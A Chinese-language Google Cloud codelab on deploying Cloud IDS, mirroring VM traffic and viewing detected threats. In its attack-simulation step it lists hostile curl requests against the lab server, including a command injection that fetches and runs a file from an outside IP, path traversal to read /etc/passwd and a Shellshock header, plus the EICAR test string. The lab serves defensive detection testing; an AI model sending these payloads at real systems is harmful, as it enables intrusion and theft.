Cloud IDS

1. 簡介

在本研究室中,您將部署 Cloud IDS,這是新一代的進階入侵偵測服務,可針對入侵、惡意軟體、間諜軟體以及指令與控制攻擊提供威脅偵測功能。您將在 Cloud 控制台中模擬多項攻擊並查看威脅詳細資料。

課程內容

  • 如何建立 Cloud IDS 端點
  • 如何使用 gcloud 指令建立 2 個虛擬機器
  • 如何建立封包鏡像政策
  • 如何模擬來自虛擬機器的攻擊流量
  • 如何在 Cloud 控制台和 Cloud Logging 中查看威脅詳細資料

軟硬體需求

  • 具備基本 Linux 指令的知識

2. Cloud IDS 用途

Cloud IDS 提供 Google Cloud 原生的新一代入侵偵測服務 (IDS),客戶能滿足其進階威脅偵測與法規遵循要求,例如 PCI 11.4。這項服務由 Palo Alto Networks 威脅防護技術提供,可提供進階入侵偵測功能。Google Cloud 結合 Google Cloud 世界級的基礎架構與 Palo Alto Networks 的世界級安全性,為客戶提供無可匹敵的全代管進階威脅偵測服務。

客戶遷移到雲端時,安全性是他們的首要考量。他們想要在地端部署環境中擁有類似的安全控制,例如雲端的入侵偵測服務 (IDS)。與部署第三方安全性解決方案及管理基礎架構或自備特徵碼相比,他們非常偏好使用雲端原生代管 IDS 解決方案來簡化部署工作、帶來高效能及最佳化成本。Google Cloud IDS 提供端對端且自動調整資源配置的代管 IDS 服務,讓客戶能花時間分析和減輕威脅,並騰出時間與資源管理基礎架構或威脅特徵碼。

Cloud IDS 可在錶帶外部署,可偵測威脅並發出快訊,但無法封鎖威脅。它會利用 Google Cloud 封包鏡像,建立利用 Palo Alto Network 威脅偵測引擎進行分析的網路流量副本。

3. 程式碼研究室拓撲

5a276f399e1d31e2.png

圖 1. 這個研究室中 Cloud IDS 部署的高階架構總覽。

4. 設定和需求

自修環境設定

  1. 登入 Google Cloud 控制台,建立新專案或重複使用現有專案。如果您還沒有 Gmail 或 Google Workspace 帳戶,請先建立帳戶

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • 「專案名稱」是這項專案參與者的顯示名稱。這是 Google API 不使用的字元字串,您可以隨時更新。
  • 所有 Google Cloud 專案的專案 ID 均不得重複,且設定後即無法變更。Cloud 控制台會自動產生一個不重複的字串。但通常是在乎它何在在大部分的程式碼研究室中,您必須參照專案 ID (通常稱為 PROJECT_ID),因此如果您不喜歡的話,可以再隨機產生一個,或者,您也可以自行嘗試看看是否可用。是「凍結」建立專案後
  • 還有第三個值,也就是部分 API 使用的專案編號。如要進一步瞭解這三個值,請參閱說明文件
  1. 接下來,您需要在 Cloud 控制台中啟用計費功能,才能使用 Cloud 資源/API。執行這個程式碼研究室並不會產生任何費用,如果有的話。如要關閉資源,以免產生本教學課程結束後產生的費用,請按照任「清除所用資源」操作請參閱本程式碼研究室結尾處的操作說明。Google Cloud 的新使用者符合 $300 美元免費試用計畫的資格。

啟動 Cloud Shell

雖然 Google Cloud 可以從筆記型電腦遠端操作,但在本程式碼研究室中,您將使用 Google Cloud Shell,這是一種在 Cloud 中執行的指令列環境。

在 GCP 控制台的右上方,按一下「Cloud Shell」圖示:

bce75f34b2c53987.png

佈建並連線至環境的作業只需幾分鐘的時間。完成後,您應該會看到類似下方的內容:

f6ef2b5f13479f3a.png

這部虛擬機器都裝載了您需要的所有開發工具。提供永久的 5 GB 主目錄,而且在 Google Cloud 中運作,大幅提高網路效能和驗證能力。這個研究室中的所有工作都可以透過瀏覽器完成。

5. 事前準備

啟用 API

在 Cloud Shell 中,確認您已設定專案 ID

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

啟用所有必要服務

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. 建立虛擬私有雲網路

虛擬私人雲端網路

透過 Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

子網路

透過 Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

私人服務存取權

透過 Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service 連線

透過 Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

防火牆規則

如要允許 IAP 連線至您的 VM 執行個體,請建立下列防火牆規則:

  • 適用於您要透過 IAP 存取的所有 VM 執行個體。
  • 允許來自 IP 範圍 35.235.240.0/20 的輸入流量。這個範圍包含 IAP 用於 TCP 轉送的所有 IP 位址。

透過 Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

如何允許將標準 HTTP 通訊埠 (TCP 80) 和 ICMP 通訊協定傳送至伺服器:

  • 適用於網路標記為「server」的資源
  • 允許所有來源的輸入流量

透過 Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

建立 Cloud NAT 執行個體

Cloud Router

透過 Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

透過 Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. 建立 Cloud IDS 端點

在本節中,您會在 us-east1 建立 Cloud IDS 端點,並將嚴重性設為「資訊」。建立 IDS 端點約需 20 分鐘。

IDS 端點

透過 Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

確認已啟動 Cloud IDS 端點

gcloud ids endpoints list --project=$PROJECT_ID

輸出內容 -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 建立 2 個虛擬機器

在本節中,您會建立 2 個虛擬機器。第一個是與 Cloud IDS 鏡像的網路伺服器。第二個虛擬機器會成為攻擊流量來源。

虛擬機器 1 (伺服器)

透過 Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

虛擬機器 2 (用戶端)

透過 Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. 正在準備伺服器

在這項工作中,您將驗證伺服器,並為用戶端提供良性惡意軟體承載。

透過 Cloud Shell 使用 SSH 登入 VM

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

確認網路服務正在執行

sudo systemctl status nginx

輸出內容 - 確認已啟用並執行

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

將目錄變更為 Web 服務

cd /var/www/html/

在網路伺服器上建立良性的惡意軟體檔案

sudo touch eicar.file

貼上內容

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

返回 CloudShell

exit

建立 Cloud IDS 封包鏡像政策

找出 IDS 端點轉送規則,並確認 IDS 端點狀態為「已就緒」。

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

輸出範例:複製「endpointForwardRule」中的值

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

將 IDS 端點轉送規則儲存至變數。

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

封包鏡像政策

透過 Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

確認是否已建立封包鏡像政策

透過 Cloud Shell

gcloud compute packet-mirrorings list

輸出

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. 模擬攻擊流量

透過 SSH 登入攻擊者虛擬機器 (用戶端)

透過 Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

執行下列 curl 要求以模擬惡意流量。

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

離開 VM 以返回 CloudShell

exit

11. 查看 Cloud IDS 偵測到的威脅

前往 Cloud IDS 資訊主頁

導覽選單 >Network Security >Cloud IDS

37583419aa604aa8.png

前往「威脅」分頁。

b7d934f409b4e2b.png

如您所見,Cloud IDS 擷取了各種攻擊流量概況,並提供每個威脅的詳細資訊。您可能須按一下「重新整理」(如未看到任何威脅) 即可。現在我們要深入探討並檢視威脅詳情。

找出「Bash 遠端程式碼執行安全漏洞」並按一下右側的三點圖示,然後選取「查看威脅詳細資料」

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

接著我們會在 Cloud Logging 中查看這個事件的詳細資料。按一下向左箭頭 ,即可返回「威脅」頁面。

按一下右側的三點圖示,然後選取「查看威脅記錄」

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

相同的詳細資料會提供給 Cloud Logging。這樣一來,您就能將記錄檔傳送至 Cloud Storage、Chronicle 或任何 SIEM/SOAR。您也可以建立自訂工作流程,根據快訊執行修復動作,例如:建立可觸發快訊的 Cloud 函式,以及建立/更新防火牆規則來封鎖 IP 位址,或是建立/更新 Cloud Armor 政策。

12. 清除步驟

結束 VM 執行個體 (所有分頁)

exit

從單一 Cloud Shell 終端機刪除研究室元件

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. 恭喜!

恭喜您完成本程式碼研究室。

涵蓋內容

  • Cloud IDS 用途
  • 網路需求
  • 支援的 API
  • 已建立 Cloud IDS 端點
  • 已部署 2 個 VM
  • 產生一些「攻擊」來自用戶端的流量
  • IDS 偵測到已驗證的威脅
  • 查看威脅詳細資料和記錄檔